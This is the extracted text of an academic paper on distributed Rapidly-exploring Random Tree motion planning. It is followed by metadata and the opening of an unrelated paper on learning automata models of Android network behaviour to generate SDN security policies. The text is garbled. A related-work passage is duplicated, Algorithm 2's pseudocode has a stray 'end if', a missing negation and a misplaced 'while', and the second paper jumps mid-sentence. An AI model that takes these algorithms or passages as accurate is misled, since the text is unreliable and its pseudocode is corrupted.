A Scalable Distributed RRT for Motion Planning
Sam Ade Jacobs, Nicholas Stradford, Cesar Rodriguez, Shawna Thomas and Nancy M. Amato
Abstract—Rapidly-exploring Random Tree (RRT), like other sampling-based motion planning methods, has been very successful in solving motion planning problems. Even so, sampling-based planners cannot solve all problems of interest efficiently, so attention is increasingly turning to parallelizing them. However, one challenge in parallelizing RRT is the global computation and communication overhead of nearest neighbor search, a key operation in RRT. This is a critical issue as it limits the scalability of previous algorithms. We present two parallel algorithms to address this problem. The first algorithm extends existing work by introducing a parameter that adjusts how much local computation is done before a global update. The second algorithm radially subdivides the configuration space into regions, constructs a portion of the tree in each region in parallel, and connects the subtrees, removing cycles if they exist. By subdividing the space, we increase computation locality enabling a scalable result. We show that our approaches are scalable. We present results demonstrating almost linear scaling to hundreds of processors on a Linux cluster and a Cray XE6 machine.
I. INTRODUCTION
Research in robotic motion planning spans over three decades, resulting in the development of different types of sequential and parallel algorithms for motion planning [10], [12]. The recent renewed interest in parallel motion planning algorithms is due to the progress made in sequential algorithms, the ubiquity of parallel and distributed machines, and the demand for more efficiency in solving complex, high dimensional problems such as those arising in manipulation and reconfigurable robotics [1], computational biology and drug design [3], [24], as well as virtual prototyping and computer-aided design [2], [9]. These new application areas test the limit and capability of existing sequential motion planners [21]. Thus, scalable parallelism has a key role to play, both in supporting existing work and in exploring new algorithms needed to solve complex, high dimensional motion planning problems.
There are two main sampling-based motion planning approaches: RRT [16] and Probabilistic Roadmap Method (PRM) [14]. RRT, PRM, and their variants are widely considered as state-of-the-art methods for solving motion planning problems. They are efficient and have been highly successful at solving many previously unsolved problems. RRT in particular is well suited for non-holonomic and kinodynamic motion planning problems [7], [17].
In this work, we present scalable parallel algorithms for computing Rapidly-exploring Random Trees (RRTs). In particular, we present two parallel algorithms: (i) an algorithm that extends [11] by introducing a parameter that controls how much local and concurrent computation is done before a global update and inter-processor communication, and (ii) a novel algorithm that radially subdivides $C_{space}$ into regions and then concurrently builds subtrees in each region which are later connected to form a single tree. By controlling how the subtrees explore the space, we minimize the communication overhead — a major bottleneck in parallel processing. While these parallel approaches employ the standard RRT expansion techniques, we note that they both result in trees that are structurally different than would be constructed sequentially.
Key contributions of this work include:
- We extend previous work by introducing a new parameter to control the RRT’s local expansion and minimize global communication, yielding a more scalable algorithm.
- A novel radial subdivision of $C_{space}$ so that RRT computation can be distributed efficiently.
- A generic and efficient implementation of nearest neighbor search based on a nested map reduce parallel computation pattern.
We present results demonstrating almost linear scalability to hundreds of processors on a Linux cluster and a Cray XE6 machine.
II. PRELIMINARIES AND RELATED WORK
Sampling-based Motion Planning. The motion planning problem is to find a valid path (e.g., collision-free and satisfying any joint limit and/or loop closure constraints) for a movable object starting from a specified initial configuration to a goal configuration in an environment [10]. A single configuration is specified in terms of the movable object’s $d$ independent parameters, or degrees of freedom (DOF). The set of all possible configurations (both feasible and infeasible)
is configuration space ($C_{\text{space}}$). $C_{\text{space}}$ is partitioned into two sets: $C_{\text{free}}$ (feasible) and $C_{\text{obstacle}}$ (infeasible). Motion planning then becomes finding a continuous sequence of points in $C_{\text{free}}$ that connects the start and the goal.
A complete solution of the motion planning problem is considered computationally intractable and has been shown to be PSPACE-hard with an upper bound that is doubly exponential in movable object’s DOF [22]. As an alternative, approximate solutions have been shown to be efficient and practical. Sampling-based methods [10] are the state-of-art practical approach to solving motion planning problems. While not guaranteed to find a solution if one exists, sampling-based methods are known to be probabilistically complete, i.e., the probability of finding a solution given one exists increases with the number of samples generated. Sampling-based methods are broadly classified into two main classes: roadmap or graph-based methods such as the Probabilistic Roadmap Method (PRM) [14] and tree-based methods such as Rapidly-exploring Random Tree (RRT) [16].
**RRT**. The basic sequential RRT (shown in Algorithm 1) grows a tree rooted at the start configuration that expands outward into unexplored areas of $C_{\text{space}}$. RRT first generates a uniform random sample $q_{\text{rand}}$, valid or not, and identifies the closest node $q_{\text{near}}$ in the tree to $q_{\text{rand}}$. $q_{\text{near}}$ is extended toward $q_{\text{rand}}$ a stepsize $\Delta q$. If the extension is successful, $q_{\text{new}}$ is added to the tree as node and the pair of $q_{\text{near}}$ and $q_{\text{new}}$ is added as an edge. To solve a particular query, RRT repeats this process until the goal configuration is also connected to the tree. RRT-connect [15] is a variant that grows two trees towards each other: one rooted at the start configuration and the other at the goal configuration. These two trees explore $C_{\text{space}}$ until they are both connected.
Algorithm 1 Sequential RRT
**Input:** An environment $env$, a root $q_{\text{root}}$, the number of nodes $N$, a stepsize $\Delta q$
**Output:** A tree $T$ containing $N$ nodes rooted at $q_{\text{root}}$
1. $T$.AddNode($q_{\text{root}}$)
2. $i \leftarrow 0$
3. while $i < N$ do
4. $q_{\text{rand}} \leftarrow \text{GetRandomNode}(env)$
5. $q_{\text{near}} \leftarrow \text{FindNeighbor}(T, q_{\text{rand}}, 1)$
6. $q_{\text{new}} \leftarrow \text{Extend}(q_{\text{near}}, q_{\text{rand}}, \Delta q)$
7. if !TooSimilar($q_{\text{near}}, q_{\text{new}}$) $\land$ IsValid($q_{\text{new}}$) then
8. $T$.AddNode($q_{\text{new}}$)
9. $T$.AddEdge($q_{\text{near}}, q_{\text{new}}$)
10. $i \leftarrow i + 1$
11. end if
12. end while
13. return $T$
**Parallel RRT.** Early parallel motion planning methods were based on the discretization of $C_{\text{space}}$ [8], [18]. The discretization as presented limits the algorithm to solving relatively low dimensional problems. However, these methods laid the foundation for subsequent work in parallelizing RRTs.
The OR paradigm [8] was applied to parallelizing RRT computations on shared-memory machines where the computation is replicated on each process [7]. Processes concurrently explore $C_{\text{space}}$ and the first process to find a solution sends a termination message to other processes. Their work also explored concurrently and cooperatively building a single tree under a shared-memory model. Each process executes their own program and communicates to other processes by exchanging data through the shared memory in a concurrent read exclusive write (CREW) fashion. In addition, they study a hybrid algorithm combining the OR paradigm and the CREW model. The processes are divided into groups and each group cooperatively builds its own tree. The first group to find a solution sends a termination message to the others.
Bialkowski et al. parallelize RRT and RRT* by focusing on parallelizing the collision detection phase [4]. They identified nearest neighbor search as the key bottleneck for scalability. Their implementation was done in CUDA on a GPU. Other work has turned to multicore architectures [11]. They present three algorithms for distributed RRT. The first is a message passing implementation of the OR paradigm. In the second algorithm, each process builds part of a tree and globally communicates with the other processes each time a new node and edge is added. The third algorithm adopts a manager-worker approach. Instead of having multiple copies of the tree, only the manager initializes and maintains the tree while the expansion computation is delegated to the worker processes. The drawback with the manager-worker approach is that it does not scale well as it is prone to load imbalance with more workload on master process(es). In this paper, we extend the second algorithm by introducing a user-defined parameter to minimize the communication overhead associated with global update.
**C-space Subdivision.** $C_{\text{space}}$ subdivision has been very useful in solving sequential motion planning problems. Early work in $C_{\text{space}}$ subdivision computes the exact representation of $C_{\text{space}}$ by uniformly dividing it into cells [5]. Each cell is then classified as empty, full, or mixed depending on the obstacle position in the cell. An A* search algorithm is then used to compute a path through the purely empty or mixed cells.
Some sampling-based motion planning approaches also employ $C_{\text{space}}$ subdivision. In [19], [20], $C_{\text{space}}$ is subdivided by randomly selecting splitting points from randomly selected positional DOF. These splitting points define an orthogonal boundary in the selected DOF. This splitting process is recursively repeated until homogeneous but overlapping sets of regions are obtained. Homogeneity is defined accord-
ing to a set of features measured for each region. A similar algorithm of interest is Region-Sensitive Adaptive Motion Planning (RESAMPL) [23]. RESAMPL subdivides $C_{\text{space}}$ into local regions using an initial set of samples. Some of these initial samples are randomly selected as representative samples for the local regions. The distance of the representative sample to its $k$-closest neighbors determines the region’s size. Approximate Cell Decomposition (ACD) subdivides $C_{\text{space}}$ into rectangular cells [26]. Similar to [5], each cell is labeled as empty, full, or mixed. PRM is combined with ACD to compute localized roadmaps by generating samples within these cells. The connectivity graph for adjacent cells in ACD is augmented with pseudo-free edges that are computed into local regions using an initial set of samples. Some of these initial samples are randomly selected as representative samples for the local regions. The distance of the representative sample to its $k$-closest neighbors determines the region’s size. Approximate Cell Decomposition (ACD) subdivides $C_{\text{space}}$ into rectangular cells [26]. Similar to [5], each cell is labeled as empty, full, or mixed. PRM is combined with ACD to compute localized roadmaps.
In our previous work [13], we present $C_{\text{space}}$ subdivision-based parallel methods for graph-based randomized motion planning algorithms, particularly PRMs. We demonstrate that by subdividing the space and restricting the locality of connection attempts, scalable performance can be achieved. However, the regular subdivision method as presented is not well suited for RRT. Here, we design a novel radial subdivision technique for parallelizing RRT.
III. PARALLELIZING RRT
In this section, we present two different parallel algorithms for RRT computation. The first is a bulk synchronous version of the distributed RRT algorithm given in [11]. We extend the algorithm by introducing a user-defined parameter that controls how much local expansion is made before a global broadcast. The second algorithm subdivides $C_{\text{space}}$ radially into regions and distributes RRT computation in each region to available processes. Regional subtrees in adjacent regions are later connected to form one single tree. In both cases, although the algorithms use the familiar RRT expansion operations, the trees that are constructed are structurally different from trees that would be constructed using a sequential method. We describe each approach in detail below.
A. Bulk Synchronous Distributed RRT
The distributed RRT algorithm in [11] incurs global broadcasts each time a new node and edge are added to the tree. However, this is not scalable. We extend this work in two key ways. First, in order to optimize the use of space and memory, each process does not maintain a copy of the tree. Instead, they all have shared access to the tree which is stored in a global, distributed data structure. Second, we regulate inter-processor communication by introducing a variable $m$ that controls how much expansion will be done before a local update and broadcast. Setting $m = 1$ gives the same computational pattern as in [11].
Algorithm 2 describes bulk synchronous distributed RRT. We first initialize the tree $T$ with the root node $q_{\text{root}}$. Subsequently, each process locally (in parallel) samples $m$ nodes and finds its nearest node $q_{\text{near}}$ in the tree. If the expansion $q_{\text{near}}$ toward $q_{\text{rand}}$ is successful, then the pair $(q_{\text{new}}, q_{\text{near}})$ is added to a temporary container $N_m$. After $m$ steps, the global tree is updated. This process continues until the termination condition is met. Figure 1 shows a simple illustration of bulk synchronous distributed RRT computation in which $p=2$, $m=2$ and $N=8$.
**Algorithm 2 Bulk Synchronous Distributed RRT**
**Input:** An environment $env$, a root $q_{\text{root}}$, the number of nodes $N$, a stepsize $\Delta q$, the number of processes $p$, the number of local expansion steps $m$
**Output:** A tree $T$ containing $N$ nodes rooted at $q_{\text{root}}$
```
1: Input: An environment $env$, a root $q_{\text{root}}$, the number of nodes $N$, a stepsize $\Delta q$, the number of processes $p$, the number of local expansion steps $m$
2: for all proc $p \in P$ par do
3: $i \leftarrow 0$
4: while $i < N/p$ do
5: localContainer $N_m$
6: for $j = 1 \ldots m$ do
7: $q_{\text{rand}} \leftarrow \text{GetRandomNode}(env)$
8: $q_{\text{near}} \leftarrow \text{FindNeighbor}(T, q_{\text{rand}}, 1)$
9: $q_{\text{new}} \leftarrow \text{Extend}(q_{\text{near}}, q_{\text{rand}}, \Delta q)$
10: if $\text{TooSimilar}(q_{\text{near}}, q_{\text{new}}) \land \text{IsValid}(q_{\text{new}})$ then
11: $N_m$.Insert($q_{\text{near}}, q_{\text{new}}$)
12: end if
13: end if
14: end for
15: for all node pair $n \in N_m$ do
16: $T$.AddNode($n.q_{\text{new}}$)
17: $T$.AddEdge($n.q_{\text{near}}, n.q_{\text{new}}$)
18: $i \leftarrow i + 1$
19: end for
20: while $i < N/p$ do
21: return $T$
```
**Fig. 1.** Bulk Synchronous Distributed RRT. (a) $T$ is initialized to root. (b) The first iteration with $m=2$. (c) The second iteration where globally communicated data is shown in black.
B. Radial Subdivision Distributed RRT
We also present a novel radial $C_{\text{space}}$ subdivision for parallelization especially suited for RRTs. Starting from the root $q_{\text{root}}$, we subdivide $C_{\text{space}}$ into conical regions and build part of the tree (subtrees) in each region. These subtrees are later connected in a manner such that no cycle exists after region connection. We exploit locality by only attempting to connect branches that reside in neighboring regions. Figure 2 shows an example for a two dimensional $C_{\text{space}}$. Each process builds a branch (shown in different colors) starting at the root that is biased toward their region of $C_{\text{space}}$.
Algorithm 3 describes the $C_{\text{space}}$ subdivision-based RRT computation in detail. Region construction first creates a hypersphere $S^d$ in $d$-dimensional $C_{\text{space}}$ centered at $q_{\text{root}} \in \mathbb{R}^d$ with radius $r$. We generate $N_r$ random points at distance $r$ from $q_{\text{root}}$. Each point $q_i$ defines a conical region centered around the ray $q_{\text{root}}q_i$. We construct a region graph $G(V, E)$ where each vertex $v_i$ represents a region defined by $q_i$ and an edge $(v_i, v_j)$ is added if $q_j$ is one of the $k$ closest neighbors of $q_i$. Thus, the edges in the region graph encode the neighborhood information between regions.
After region graph construction, we independently (in parallel) run sequential RRT in each region. The RRT construction is done in a way that the tree is biased toward the region target $q_i$. Each region is centered around the random ray $q_{\text{root}}, q_i$. Some overlap between regions is allowed so subtrees can explore part of the space in adjacent regions, enabling easier connection between subtrees in the next phase.
Using the adjacency information provided by the region graph, we make connection attempts between each region branch and its adjacent neighbors. We check if any edge connection at this point creates a cycle. If a cycle exists, we prune the tree so as to remove any cycles. In the results presented here, tree pruning is performed by running a graph search algorithm. Figure 3 shows a simple pictorial illustration for tree pruning.
Algorithm 3 Radial Subdivision Distributed RRT
**Input:** An environment $env$, a root $q_{\text{root}}$, the number of nodes $N$, a stepsize $\Delta q$, the number of processes $p$, the number of regions $N_r$, a region radius $r$, the number of adjacent regions $k$
**Output:** A tree $T$ containing $N$ nodes rooted at $q_{\text{root}}$
1: $Q_{N_r} \leftarrow$ generate $N_r$ random points of $r$ distance from $q_{\text{root}}$
2: Initialize region graph $G(V, E)$ with $V \leftarrow Q_{N_r}$ and $E \leftarrow \emptyset$
3: for all $q_i \in Q_{N_r}$ par do
4: $neighbors \leftarrow$ FindNeighbors($G, q_i, k$)
5: for all $n \in neighbors$ do
6: $G.AddEdge(q_i, n)$
7: end for
8: end for
9: for all $v_i \in V$ par do
10: $T \leftarrow$ ConstructBiasedRRT($env, q_{\text{root}}, N/p, \Delta q, q_i$)
11: end for
12: for all $(v_i, v_j) \in E$ par do
13: $\text{ConnectTree}(T, v_i, v_j)$
14: if $\text{Cycle}(T)$ then
15: $\text{Prune}(T)$
16: end if
17: end for
18: return $T$
Fig. 2. Example of radial subdivision for a 2D $C_{\text{space}}$. Each process concurrently builds a subtree (using sequential RRT) rooted at $q_r$ and biased toward a target $q_i$ (e.g., $q_o$ for the black process).
Fig. 3. Tree pruning example. The new edge (purple) between the red and blue branches causes a cycle in the red branch. The dashed edge is identified for removal.
IV. Implementation Details
A. STAPL Framework
Our code was written in C++ using the Standard Template Library (STL) and the Standard Template Adaptive Parallel Library (STAPL) [6], [25] as supporting libraries. STAPL is a platform independent superset of STL that provides a collection of building blocks for writing parallel programs.
These building blocks include a collection of parallel algorithms (pAlgorithms), parallel and distributed containers (pContainers), a general mechanism to access the data of a pContainer similar to STL iterators called pViews, an abstraction of the computation task graph (PARAGRAPH), and an Adaptive Runtime System (ARMI) that includes a communication library, scheduler, and performance monitor.
In this work, we made use of the STAPL Parallel Graph Library, one of the STAPL pContainers, as the parallel data structure for representing both the region graph and the RRT tree. We implemented bulk synchronous distributed RRT and radial subdivision distributed RRT as STAPL pAlgorithms. The tree pruning process described in Section III-B was implemented using the STAPL parallel breadth first search (BFS) algorithm.
B. Parallelizing Nearest Neighbor Search
There is a clear need for fine-grained parallelism in sampling-based motion planning [4], [11]. The nearest neighbor search is considered a key bottleneck to scalable performance. In this work, we implement and incorporate a nested and fine-grained parallel computation of nearest neighbor search within the two parallel RRT algorithms described in Section III. Our implementation has a map reduce parallel computation pattern.
Algorithm 4 describes the approach in the context of a distributed RRT. To compute the nearest point qnear to a query point qrand, each processing element sends qrand to the other processing elements by calling MapReduce(). The mapping function (Algorithm 5) receives the query point qrand and locally computes its nearest neighbor in its local portion of the tree (Tp) based on a given distance metric. The reduce function (Algorithm 6) takes the two inputs returned by the mapping function and computes the nearest neighbor to qrand from the two inputs based on the same distance metric.
V. EXPERIMENTAL SETUP AND RESULTS
We investigate the scalability of the two algorithms presented in Section III: bulk synchronous distributed RRT and radial subdivision distributed RRT. We also examine the effect of robot complexity and machine architecture.
A. Experimental Setup
1) Machine Architecture: Experiments were conducted on two massively parallel computers. The first machine is a major Linux computing cluster. It has a total of 300 nodes, 172 of which are made of two quad core Intel Xeon and AMD Opteron processors running at 2.5GHz with 16 to 32GB memory per node. The 300 nodes have 8TB of memory and a peak performance of 24 Tflops. Each node of the Linux cluster is made of 8 processor cores, thus, for this machine we present results for processor counts in multiples of 8. The second machine is a Cray XE6 petascale machine. It has 6384 nodes, 217 TB of memory, and a peak performance of 1.288 peta-flops. Each node consists 12 processor cores. This architectural layout influenced our choice of processor counts to be in multiple of 12. Our code was written in C++ and compiled with gcc-4.5.2 on the Linux cluster and gcc-4.6.3 on the Cray XE6 machine. Using STAPL, the same C++ code was used on both architecture types.
2) Motion Planning Problems: We studied three different kinds of environments: a 512 \times 512 \times 512 uniformly cluttered environment (shown in Figure 4(a)) and a 7x7x7 grid environments (shown in Figure 4(b)) and another clutter
Algorithm 4 Parallel NNS Distributed RRT
Input: An environment env, a root qroot, the number of nodes N, a stepsize \Delta q, the number of processes p
Output: A tree T containing N nodes rooted at qroot
1: T.AddNode(qroot)
2: for all proc p ∈ P par do
3: i ← 0
4: while i < N/p do
5: subtree Tp ∈ T
6: qrand ← GetRandomNode(env)
7: qnear ← MapReduce(Map(Tp, qrand), Reduce(qnear, qnear))
8: qnew ← Extend(qnear, qrand, \Delta q)
9: if !TooSimilar(qnear, qnew) ∧ IsValid(qnew) then
10: T.AddNodeToTree(qnew)
11: T.AddEdgeToTree(qnear, qnew)
12: end if
13: i ← i + 1
14: end while
15: end for
16: return T
Algorithm 5 Map
Input: A set of points S, a query q
Output: A map of closest point to q and its distance M
1: M ← FindNeighbors(S, q, 1)
2: return M
Algorithm 6 Reduce
Input: Two maps M1 and M2 of points and their distances to a query q
Output: The closest point p ∈ M1 ∪ M2
1: if M1.distance ≤ M2.distance then
2: p ← M1.point
3: else
4: p ← M2.point
5: end if
6: return p
environment with strip-like obstacles (shown in Figure 4(c)). There are 216 obstacles each of size $2 \times 4 \times 4$ uniformly scattered in the clutter environment. The grid environment has eight obstacles placed in a grid form. We studied two different kinds of robot types: a $4 \times 4 \times 4$ units 6 DOF cube-like rigid body robot and an eleven-link (16 DOF) articulated linkage robot, with each link having dimensions of $7 \times 1 \times 1$ units.
**B. Experimental Results**
1) **Bulk Synchronous Effect:** We first study the effect of the $m$ parameter introduced in Algorithm 2 to tune the amount of local expansion done before a global update. We fixed the sample size at 16,384 and used $m = \{1, 16, 64\}$. Note that $m = 1$ is the same as the distributed algorithm presented in [11]. Figure 5 shows the running time as a function of the number of processors on the Linux cluster for the rigid body robot up to 256 processors.
Localizing the computation and thus minimizing frequent inter-processor communication by varying $m$ does impact performance of distributed RRT, but this effect is not obvious until higher processor counts, see Figure 5(b). In fact, $m = 1$ seems to outperform the others until around $p = 16$.
2) **Radial Subdivision Scalability Study:** As seen with the bulk synchronous distributed RRT, localizing computation reduces communication overhead which in turn improves the overall scalability of the algorithm. We now look at the scalability of radial subdivision distributed RRT on the two different robots: the 6 DOF rigid body and the 16 DOF articulated linkage. Figure 6 shows performance result on the Linux cluster up to 64 processors. Radial subdivision RRT was able to achieve almost near linear speedups for both robot types.
3) **Effect of Machine Architecture:** We next study how the machine architecture impacts performance for both the bulk synchronous distributed RRT and the radial subdivision distributed RRT. For the bulk synchronous distributed RRT we use $m = \{1, 25, 50\}$ while keeping the sample size constant. Figure 7 shows performance results for the rigid body robot on the Cray XE6 machine. Radial subdivision distributed RRT scales almost linearly, similar to what was observed on
Linux cluster. Scalability of the bulk synchronous distributed RRT depends on the value of $m$ and the number of processors. As in the previous experiments (Figure 5), the impact of increasing $m$ is much felt at higher processor counts at which inter-processor communication become significant.
4) Grid Environment: To further understand the performance of radial subdivision in a different scenario, we evaluated the radial subdivision algorithm in a grid environment with rigid body robot on Cray XE6 machine. In this evaluation, we kept the number of regions constant at 480 across all processor count and varied the sample size per region. The results from the evaluation are shown in Figure 8. Given different input sizes, we saw decrease in execution time as the number of processors increases.
5) Stripline Environment: We conduct another experiment using the stripline environment. In this environment, we varied the amount of $C_{free}$ volume by varying the obstacles sizes. We fixed the samples sizes at 4096 per region for 256 regions and varied the processor count from 8 to 256. This experiment was conducted on Linux cluster and the results are shown in Figure 9. We observed almost linear scalability in all cases.
Fig. 6. Radial subdivision distributed RRT performance on Linux cluster.
Fig. 7. Distributed RRT performance on Cray XE6 machine.
VI. CONCLUSION
In this paper, we present two parallel algorithms for RRT computation. The first algorithm extends existing work by introducing a parameter $m$ that controls how much local computation is done before a global update across processors. The second algorithm radially subdivides $C_{space}$ into regions and lets each processor build part of the tree in each region. By controlling local computation and subdividing $C_{space}$, we minimize the overhead associated with inter-processor communication in parallel processing. We present results for both a rigid body robot and an articulated linkages on two different parallel machine architectures.
Fig. 8. Radial RRT performance results for grid environment on Cray XE6 machine
Fig. 9. Radial RRT performance results for stripline environment on Linux cluster
REFERENCES
|
{"Source-Url": "https://parasol.tamu.edu/publications/download.php?file_id=797", "len_cl100k_base": 6779, "olmocr-version": "0.1.50", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 31697, "total-output-tokens": 9147, "length": "2e12", "weborganizer": {"__label__adult": 0.0004296302795410156, "__label__art_design": 0.0006299018859863281, "__label__crime_law": 0.0007524490356445312, "__label__education_jobs": 0.0009870529174804688, "__label__entertainment": 0.00014591217041015625, "__label__fashion_beauty": 0.0002338886260986328, "__label__finance_business": 0.0002903938293457031, "__label__food_dining": 0.00041556358337402344, "__label__games": 0.0014667510986328125, "__label__hardware": 0.0032482147216796875, "__label__health": 0.0008440017700195312, "__label__history": 0.0006098747253417969, "__label__home_hobbies": 0.00025844573974609375, "__label__industrial": 0.0014352798461914062, "__label__literature": 0.00032806396484375, "__label__politics": 0.00047516822814941406, "__label__religion": 0.0006656646728515625, "__label__science_tech": 0.46533203125, "__label__social_life": 0.00012695789337158203, "__label__software": 0.01174163818359375, "__label__software_dev": 0.50732421875, "__label__sports_fitness": 0.0005221366882324219, "__label__transportation": 0.0014810562133789062, "__label__travel": 0.0002589225769042969}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 33815, 0.04665]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 33815, 0.44166]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 33815, 0.82365]], "google_gemma-3-12b-it_contains_pii": [[0, 4605, false], [4605, 10552, null], [10552, 15869, null], [15869, 19820, null], [19820, 24176, null], [24176, 26439, null], [26439, 28467, null], [28467, 33815, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4605, true], [4605, 10552, null], [10552, 15869, null], [15869, 19820, null], [19820, 24176, null], [24176, 26439, null], [26439, 28467, null], [28467, 33815, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 33815, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 33815, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 33815, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 33815, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 33815, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 33815, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 33815, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 33815, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 33815, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 33815, null]], "pdf_page_numbers": [[0, 4605, 1], [4605, 10552, 2], [10552, 15869, 3], [15869, 19820, 4], [19820, 24176, 5], [24176, 26439, 6], [26439, 28467, 7], [28467, 33815, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 33815, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-28
|
2024-11-28
|
73e8c371ef7dbbcedd297eb6f1d010d7b9d9fae6
|
Generation of SDN policies for protecting Android environments based on automata learning
Nicolas Schnepf, Rémi Badonnel, Abdelkader Lahmadi, Stephan Merz
To cite this version:
Nicolas Schnepf, Rémi Badonnel, Abdelkader Lahmadi, Stephan Merz. Generation of SDN policies for protecting Android environments based on automata learning. NOMS 2018 - IEEE/IFIP Network Operations and Management Symposium, Apr 2018, Taipei, Taiwan. 10.1109/NOMS.2018.8406153 . hal-01892390
HAL Id: hal-01892390
https://hal.science/hal-01892390
Submitted on 7 Dec 2018
HAL is a multi-disciplinary open access archive for the deposit and dissemination of scientific research documents, whether they are published or not. The documents may come from teaching and research institutions in France or abroad, or from public or private research centers.
L’archive ouverte pluridisciplinaire HAL, est destinée au dépôt et à la diffusion de documents scientifiques de niveau recherche, publiés ou non, émanant des établissements d’enseignement et de recherche français ou étrangers, des laboratoires publics ou privés.
Generation of SDN Policies for Protecting Android Environments based on Automata Learning
Nicolas Schnepf, Rémi Badonnel, Abdelkader Lahmadi, Stephan Merz
Université de Lorraine, CNRS, Inria, LORIA, F-54000 Nancy, France
Email: {nicolas.schnepf, remi.badonnel, abdelkader.lahmadi, stephan.merz}@inria.fr
Abstract—Software-defined networking offers new opportunities for protecting end users and their applications. In that context, dedicated chains can be built to combine different security functions, such as firewalls, intrusion detection systems and services for preventing data leakage. To configure these security chains, it is important to have an adequate model of the patterns that end user applications exhibit when accessing the network. We propose an automated strategy for learning the networking behavior of end applications using algorithms for generating finite state models. These models can be exploited for inferring SDN policies ensuring that applications respect the observed behavior: such policies can be formally verified and deployed on SDN infrastructures in a dynamic and flexible manner. Our solution is prototypically implemented as a collection of Python scripts that extend our Synaptic verification package. The performance of our strategy is evaluated through extensive experimentations and is compared to the Synoptic and Invarimint automata learning algorithms.
I. INTRODUCTION
The increasing number of connected devices, such as smartphones, smart objects and sensors, is an important factor of Internet growth and dynamics. It also poses new challenges in terms of security management. These devices with restricted capacities generate a larger attack surface. A typical example is the recent attack against the DynDNS service, which exploited a botnet of infected smart objects to perform flooding. Malicious applications targeting these devices are also increasing massively every year. Preventive security methods that consist in analyzing the applications before their publication on markets are of limited effectiveness. For instance, analyses estimate that more than 3 million malwares were published on the official Google application market [1], [2]. Security mechanisms must be adjusted to threats dynamically. They are also constrained by the resources of devices that are often limited in terms of memory and CPU, making the local deployment of protective mechanisms more challenging.
In the meantime, the development of software-defined networking (SDN) provides new perspectives in terms of security, through an extended programmability of networks [3], [4]. The SDN architecture relies on the decoupling of the data and control planes of networks, the first consisting in programmable switches deployed in the network, and the second consisting in a central component, the controller, responsible for dynamically configuring the switches in response to network events. The interface between these planes is implemented by a dedicated protocol, such as OpenFlow, that can then serve as a support for deploying security rules from the controller to the switches. Programming the controller can benefit from high-level languages, such as Pyretic [5], part of the Frenetic family of languages [6]. These languages allow the dynamics of the controller and the forwarding rules of the switches to be described as a Python program, before compiling them into low-level OpenFlow rules.
This programmability brings flexibility to the deployment and adjustment of security mechanisms in the network infrastructure. In this paper we propose an approach based on automata learning to capture the networking behavior of user applications: such models can be used for generating SDN policies in order to protect Android environments. More precisely, we build finite-state models that characterize the behavior of user applications through the analysis of flow-based interaction traces. We aim to infer SDN policies from these models in order to protect end users. Security policies can be expressed using Pyretic rules, for which formal verification methods are available that can help validating network policies. The verification of the control plane can be performed by model checking using the Kinetic extension [7]. In addition, the data plane associated to Pyretic rules can be verified using our Synaptic checker described in [8].
Our main contributions are: (i) designing an automated technique for learning the behavior of Android applications, (ii) developing practical algorithms for building the automata, (iii) prototyping our method based on Python scripts, and (iv) evaluating its performance through extensive experiments, with a comparison to other automata learning algorithms, namely Synoptic [9] and Invarimint [10].
The remainder of this paper is organized as follows. Section II gives an overview of existing related work. Section III describes the envisaged architecture for generating SDN policies and our algorithms for building finite state models. Section IV compares performance results obtained with different automata learning methods. Section V concludes and points out future research perspectives.
II. RELATED WORK
The widespread presence of malware applications on the Google market store has spurred research on the validation of Android applications. Asavoae et al. describe techniques for detecting collusion of Android malware applications based on their permissions [11], but do not address the detection of attacks from a networking perspective. Similarly, Zhang et al. rely on the Android permissions for automatically
We propose in this paper an approach for learning interaction models of applications for protecting Android environments. More precisely, this approach consists in automatically profiling applications based on automata learning methods applied to network logs. We mainly focus on the network traces characterizing the behavior of applications, in contrast to Android permissions that focus on the services that applications can access directly on the smart device. One question to consider is whether application models should be built from packets or flows: a packet is the basic unit of data exchanged by applications during a communication whereas a flow is an aggregated and unidirectional collection of packets that can be used instead of packets for representing the network behavior of applications.
Figure 1. Overview of the proposed architecture for securing applications.
We decided to build our models from flow traces, following Sperotto [22] who argues that using flows instead of packets presents several advantages from a security perspective. First of all, analyzing flows is faster than analyzing packets because we are interested in collections of packets sharing the same IP addresses and port numbers. A second advantage of this approach is higher confidentiality for end users: whereas an analysis at the level of packets can observe the data exchanged during a communication, the latter is hidden in the analysis of flows: one can only observe aggregate information such as the numbers of packets and of bytes but not what is transmitted over the network. We are mainly interested in the remote servers the application is communicating with, focusing on identifying communications that may present a risk for the safety of a smart environment.
The communication pattern of an application can conveniently be represented as a finite state automaton; in particular we consider hidden Markov models of applications because this representation captures interesting properties in terms of network security [22]. In addition to probabilistic aspects we are also interested in having quantitative information about the numbers of bytes and of packets sent or received by applications during their communications in order to capture abnormal behaviors and to adjust the chains accordingly when observing such events at the network level.
A. Underlying architecture
The overall architecture that supports our technique for protecting devices and applications in an SDN environment...
